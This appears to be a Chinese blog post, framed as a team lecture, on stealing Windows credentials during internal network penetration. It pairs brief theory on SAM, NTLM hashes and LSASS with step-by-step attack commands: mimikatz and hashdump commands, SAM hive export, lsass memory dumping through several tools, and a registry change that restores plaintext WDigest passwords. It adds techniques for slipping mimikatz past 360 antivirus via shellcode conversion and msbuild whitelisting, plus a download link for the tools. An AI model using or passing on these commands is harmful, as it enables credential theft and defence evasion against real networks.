内网渗透——凭据获取

  • A+
所属分类:安全文章

内网渗透——凭据获取

0x00 前言

我们在实际的渗透工作中,凭据获取是我们不可获取的一个过程,本文是我们团队内部的一次公开课,将从理论与实践两部分进行讲解。

0x01 原理解析

1.注册表解析

HKLMSAM:包含用户密码的NTLM V2 Hash
HKLMSecurity:包含缓存的域记录LSA secrets/LSA密钥
HKLMsystem-aka SYSKEY:包含可以用于加密LSA sercret和和SAM数据库的密钥

2.SAM文件解析

SAM(安全账户管理器),SAM用来存储Windows操作系统密码的数据库文件,为了避免明文密码泄露,SAM文件中保存的是明文密码经过一系列算法处理过的Hash值,被保存的Hash分为LM Hash(已废弃)、NTLMHash(长度32bit由字母数字组成)。在用户在本地或者远程登陆系统时,会将Hash值与SAM文件中保存的Hash值进行对比。在后期的Windows系统中,SAM文件中被保存的密码Hash都被密钥SYSKEY加密

  • SAM稳在磁盘中的位置在:C:windowssystem32configsam

  • SAM文件在Windows系统启动后被系统锁定,无法进行移动和复制

3.Hash解析

Windows系统为了保证用户明文密码不会被泄漏,将密码转换为HASH值进行身份验证,被保存在SAM或者ntds.dit中(mimitakz,procdump等等),域中的所有账号密码存放在Ntds.dit,如果拿到,相当于拿到整个域权限。

LM hash存在的漏洞:

  • 不区分大小写

  • 密码最长为14位

  • 判断位数(第2组为aad3b435b51404ee,密码肯定少于7位)

  • DES加密强度较弱

  • 如果是14位密码,可被分开破解
    NTLM Hash生成原理的三步骤详解:

  • hex(16进制编码)

  • Unicode编码(ASCII转Unicode)

  • MD4加密得到NTLM Hash

4.SID解析

详解SID安全标识符是一个唯一的字符串,用户标识该用户账号以及所属的用户组。系统在用户请求访问某些对象时,通过提供的访问令牌来确认是否具有对应的访问权限
通常他还有一个SID固定列表,SID表现形式:
域SID——用户ID
计算机SID——用户ID

常见的SID:

  • 500(Administrator)

  • 501(Guest)

  • 502(Krbtgt)

  • 512(Domain Admins)

  • 513(Domain Users)
    示例:
    Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如:     Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC
    用户名称为:Administrator
         RID为:500
         LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE
         NT-HASH值为:683020925C5D8569C23AA724774CE6CC

5.SSP解析

SSP是Windows定义的一套接口,此接口定义了与安全有关的功能函数,用来获取验证、信息完整性、信息隐私等安全功能,就是定义了一套接口函数用来身份验证,签名等。

  • 安全支持提供程序(SSP)

  • 安全支持提供程序接口(SSPI) 应用程序和底层API交互
    SSP(Security Support Provider),DLL(具体实现),包含:

  • Kerberos Security Support Provider

  • NTML Security Support Provider

  • Digest Security Support Provider

  • Schannel Security Support Provider

  • Negotiate Security Support Provider

  • Credential Security Support Provider

  • Negotiate Extensions Security Support Provider

  • PKU2U Secruity Support Provider

内网渗透——凭据获取

MSV(Terminal Server认证(RDSH))
tspkg(NTML认证)
wdigest(摘要认证) 用的比较多提取明文密码
Kerberos(Kerberos认证)


6.Lsass解析

LSASS(本地安全认证子系统服务)用于微软Windows系统的安全机制。它负责Windows系统安全策略。它负责用户在本地验证或远程登陆时验证用户身份,管理用户密码变更,并产生访问日志。

0x02:抓取凭据的方法

1.在线脱Hash方法:

(1)mimikatz (各种版本) exe ps版本

privilege::debug
token::whoami
token::elevate
lsadump::sam

(2)ps1

Get——PassHashes.PS1
bypass UAC
Invoke-Mimikatz

(3)lsass.exe

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

(4)msf

run hashdump
hashdump
post/windows/gather/credentials/domain_hashdump(获取域hash)
use mimikatz
wdigest(明文)

(5)CS

hashdump
logonpasswords(明文)


2.离线脱hash方法:

(1).SAM(卷影副本、注册表)

reg save hklmsam sam.hiv
reg save hklmsystem system.hiv
lsadump::sam /sam:sam.hiv /system:system.hiv (mimikatz)

(2)lsass.exe(注入lsass.exe进程,并从其内存中提取)

procdump.exe (processname、pid)
procdump.exe -accepteula (-64) -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::mimidump lsass.dmp" "log" "sekurlsa::logonpasswords“

3.转存Lsass进程

(1)Sqldumper(如果目标系统上安装了sql server ,SqlDumper.exe默认存放c:ProgramFilesMicrosoft SQL ServernumberShared)

tasklist  | findstr  lsass.exe
Sqldumper.exe ProcessID 0 0x01100
mimikatz加载dump文件:
sekurlsa::minidump SQLDmpr0001.mdmp
sekurlsa::logonPasswords full

(2)Get-ProcessMiniDump

tasklist /svc |findstr lsass.exe
powershell -exec bypass "import-module .Get-ProcessMiniDump.ps1;Get-ProcessMiniDump -ProcID 进程 -Path C:lsass.dmp"
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

0x03 其他抓取密码的工具

工具github上都有,大家自行下载

(1)Quarks PwDump抓取用户密码:

Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。

内网渗透——凭据获取

命令:quarksPwDump.exe –dhl -o hash.txt

(2)WCE抓取用户密码:

这款工具是一款Hash注入神器,不仅可以用于Hash注入,也可以直接获取明文或Hash。这款工具也分为32位和64位两个不同的版本Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。

内网渗透——凭据获取

命令:wce.exe  -w(抓取明文)、wce.exe –l(抓取hash)

(3)LaZagne抓取用户密码:

LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。该工具通过python开发,易读、易维护,依赖的python2版本,这款工具不仅能抓取胡勇密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能。

内网渗透——凭据获取

lazagne.exe windows,

0x04:Bypass Kb2871997

1.kb2871997补丁原理:

防止pth攻击,限制两个sid(kb2871997会删除除了wdigest ssp以外其他ssp的明文凭据,但对于wdigest ssp只能选择禁用

  • S-1-5-1 13(NT AUTHORITY Local account)

  • S-1-5-1 14(NT AUTHORITY Administrators)

  • 可以通过组策略使用这些sid来有效地阻止远程登录使用所有本地管理帐户

    2.Bypass方法

    此时这个补丁的重点就在于 如何获取内存中存储的明⽂信息在Win7、 Server 2008 R2、 中 UseLogonCredential 的值默认为 1在 Windows 8.1 和 Server 2012 R2 及更⾼版本中 ( 注册表项不存在时,UseLogonCredential 值默认为0,如果需要抓取到 WDigest 明⽂凭据,需要修改 UseLogonCredential 为 1 重启系统或锁屏
    修改配置:
    reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    锁屏实现:rundll32.exe user32.dll LockWorkStation
    查看是否为锁屏状态:
    使用截屏、键盘记录等后渗透功能,⼀般都要到对应⽤户的空间下操作

0x05 关于bypass 360 抓取密码

1.PE to shellcode

将mimikatz.exe 转换为shellcode
命令:pe2shc.exe mimikatz.exe mimi.txt
加载runshc64.exe mimi.txt

内网渗透——凭据获取

2.C# 加载mimikatz

这里编译失败,直接使用成品(会在文章底部贴上下载地址)
命令:cscript mimi.js

内网渗透——凭据获取

3.白名单加载mimikatz

使用白名单程序msbuild进行进行加载xml文件
命令: C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe mimikatz.xml

内网渗透——凭据获取

0x06 附录:

文章中使用的部分工具:
链接:https://pan.baidu.com/s/1CIILfBq5J_WXg_ehu8pjJg
提取码:g4jd
解压密码:arksec.me
欢迎随时关注我们


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: